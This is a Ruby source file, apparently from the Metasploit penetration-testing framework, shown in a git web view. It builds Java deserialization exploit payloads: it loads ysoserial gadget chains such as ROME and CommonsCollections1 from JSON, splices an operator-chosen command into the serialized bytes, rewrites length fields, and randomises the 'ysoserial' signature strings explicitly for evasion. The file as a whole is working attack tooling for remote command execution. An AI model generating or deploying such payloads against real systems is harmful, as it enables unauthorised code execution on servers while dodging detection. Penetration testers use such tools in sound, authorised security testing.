3ecf0914e1
Increasing the size to occupy two bytes seems to be helping stabilize the generation for both the ROME and CommonsCollections1 payloads.
73 lines
2.6 KiB
Ruby
73 lines
2.6 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
module Msf
|
|
module Util
|
|
|
|
require 'json'
|
|
|
|
class JavaDeserialization
|
|
|
|
PAYLOAD_FILENAME = "ysoserial_payloads.json"
|
|
|
|
def self.ysoserial_payload(payload_name, command=nil, modified_type: 'none')
|
|
# Open the JSON file and parse it
|
|
begin
|
|
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
|
|
json = JSON.parse(File.read(path))
|
|
rescue Errno::ENOENT, JSON::ParserError
|
|
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
|
|
end
|
|
|
|
# Extract the specified payload type (including cmd, bash, powershell, none)
|
|
payloads_json = json[modified_type.to_s]
|
|
if payloads_json.nil?
|
|
raise ArgumentError, "#{modified_type} type not found in ysoserial payloads"
|
|
end
|
|
|
|
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
|
|
payload = payloads_json[payload_name]
|
|
|
|
raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if payload.nil?
|
|
|
|
# Based on the status, we'll raise an exception, return a static payload, or
|
|
# generate a dynamic payload with modifications at the specified offsets
|
|
case payload['status']
|
|
when 'unsupported'
|
|
# This exception will occur most commonly with complex payloads that require more than a string
|
|
raise ArgumentError, 'ysoserial payload is unsupported'
|
|
when 'static'
|
|
# TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
|
|
return Rex::Text.decode_base64(payload['bytes'])
|
|
when 'dynamic'
|
|
raise ArgumentError, 'missing command parameter' if command.nil?
|
|
|
|
bytes = Rex::Text.decode_base64(payload['bytes'])
|
|
|
|
# Insert buffer
|
|
buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
|
|
bytes[buffer_offset - 1] += command
|
|
|
|
# Overwrite length (multiple times, if necessary)
|
|
length_offsets = payload['lengthOffset']
|
|
length_offsets.each do |length_offset|
|
|
# Extract length as a 16-bit unsigned int, then add the length of the command string
|
|
length = bytes[(length_offset-1)..length_offset].unpack('n').first
|
|
length += command.length.ord
|
|
length = [length].pack("n")
|
|
bytes[(length_offset-1)..length_offset] = length
|
|
end
|
|
|
|
# Replace "ysoserial\/Pwner" timestamp and "ysoserial" string with randomness for evasion
|
|
bytes.gsub!('ysoserial/Pwner00000000000000', Rex::Text.rand_text_alphanumeric(29))
|
|
bytes.gsub!('ysoserial', Rex::Text.rand_text_alphanumeric(9))
|
|
|
|
return bytes
|
|
else
|
|
raise RuntimeError, 'Malformed JSON file'
|
|
end
|
|
end
|
|
|
|
end # JavaDeserialization
|
|
end # Util
|
|
end # Msf
|